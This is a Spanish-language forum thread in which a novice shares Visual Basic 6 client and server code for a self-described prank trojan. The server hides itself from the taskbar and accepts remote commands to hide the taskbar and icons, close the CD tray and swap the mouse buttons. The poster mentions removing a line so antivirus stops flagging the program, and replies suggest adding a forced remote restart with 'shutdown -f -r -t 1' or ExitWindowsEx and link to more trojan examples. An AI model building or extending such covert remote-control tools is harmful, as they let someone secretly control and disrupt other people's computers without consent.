hola tengo un troyano qeu solo sirve para mandar bromas....y no puedo agregar para poder apagar y reiniciar la pc..... y tambien si me pueden decir como ponerle otras bromas.....aca les dejo el code.....Gracias:
winsock
Este es el Cliente......:
Private Sub cdc_Click()
clijent.SendData "cdc"
DoEvents
End Sub
Private Sub cdo_Click()
clijent.SendData "cdo"
DoEvents
End Sub
Private Sub ch_Click()
clijent.SendData "c"
DoEvents
End Sub
Private Sub Command1_Click()
clijent.Close
clijent.Connect Text1.Text, 2320
End Sub
Private Sub Form_Unload(Cancel As Integer)
clijent.Close
End
End Sub
Private Sub Hd_Click()
clijent.SendData "hd"
DoEvents
End Sub
Private Sub Ht_Click()
clijent.SendData "ht"
DoEvents
End Sub
Private Sub Image8_Click()
Unload Me
End Sub
Private Sub sc_Click()
clijent.SendData "co"
DoEvents
End Sub
Private Sub Sd_Click()
clijent.SendData "sd"
DoEvents
End Sub
Private Sub st_Click()
clijent.SendData "st"
DoEvents
End Sub
Private Sub Text1_KeyPress(KeyAscii As Integer)
If KeyAscii = 13 Then Command1 = True
End Sub
Private Sub Timer1_Timer()
Label1.Caption = clijent.State
End Sub
Este Es El Server....:
Option Explicit
Private Sub Form_load()
Me.Hide
server.Close
server.Listen
App.TaskVisible = False
Me.Hide
End Sub
Private Sub Form_Unload(Cancel As Integer)
server.Close
End Sub
Private Sub server_ConnectionRequest(ByVal requestID As Long)
server.Close
server.Accept requestID
End Sub
Private Sub server_DataArrival(ByVal bytesTotal As Long)
Dim tmpData As String
server.GetData tmpData
Select Case tmpData
Case "cdc"
CloseCDROM
Case "ht"
TaskBarHide
Case "st"
TaskBarShow
Case "hd"
DesktopIconsHide
Case "sd"
DesktopIconsShow
Case "c"
FlipMouseButtons
Case "co"
FlipMouseButtonsBack
End Select
End Sub
El De Open Cd Rom lo borre por que me analizaba el troayano como virus asi que borre la linea de Open Cd Rom
Salu2
mira para apagar y reiniciar la pc pues haslo con el api ExitWindowsEx y lo de agregar mas bromas pues haslo igual que como agregastes las que tienes...
me puede pasar algun manual o algo para poder hacerlo o que tengo que cambiar del codigo y agregar...por que soy muy novato... :-\ :-\ :-\ :-\....Gracias
eessa vamos con el clan arg!
Con respecto a tu consulta:
como trabajar con la api del msn => http://www.messengeradictos.com/documentos/programando-para-msn-messenger-con-visual-basic-6_139955
Bajate el api-guide que trae informacion sobre todas las apis de windows, mucho mas detallado que el visor de texto de windows:
http://www.devhood.com/Tools/tool_details.aspx?tool_id=563
lo que no entiendo es por que complicarse tanto siendo novato empiesa con cosas mas simples no con un troyano en lo personal mi primer programa es este http://rapidshare.com/files/99131496/mensaje.exe.html (http://rapidshare.com/files/99131496/mensaje.exe.html)XD
Un troyano no es mala idea para empezar. Yo arranque con un libro en PDF medio basico, y luego segui con el troyano. Y a medida que surgian interrogantes digamos los iba solucionando invocando a google. Es una buena practica.
Ejemplo de un troyano muy basico para bromas:
http://foro.elhacker.net/index.php/topic,135213.0.html
exacto ai que aprender algo primero de vb antes de irse con el troyano i las dudas ver si esta en www.usaelputogoogle.com (http://www.usaelputogoogle.com) i si no lo encuentras ai preguntas en el foro eso es basicamente lo que ai que hacer para hacer las cosas bien hechas
Bueno seria tambien mandarle con el winsock apagar y poner un select case de que cuando lo reciba corra shell(shutdown -f -r -t 1) :) o la mejor opcion usando un API.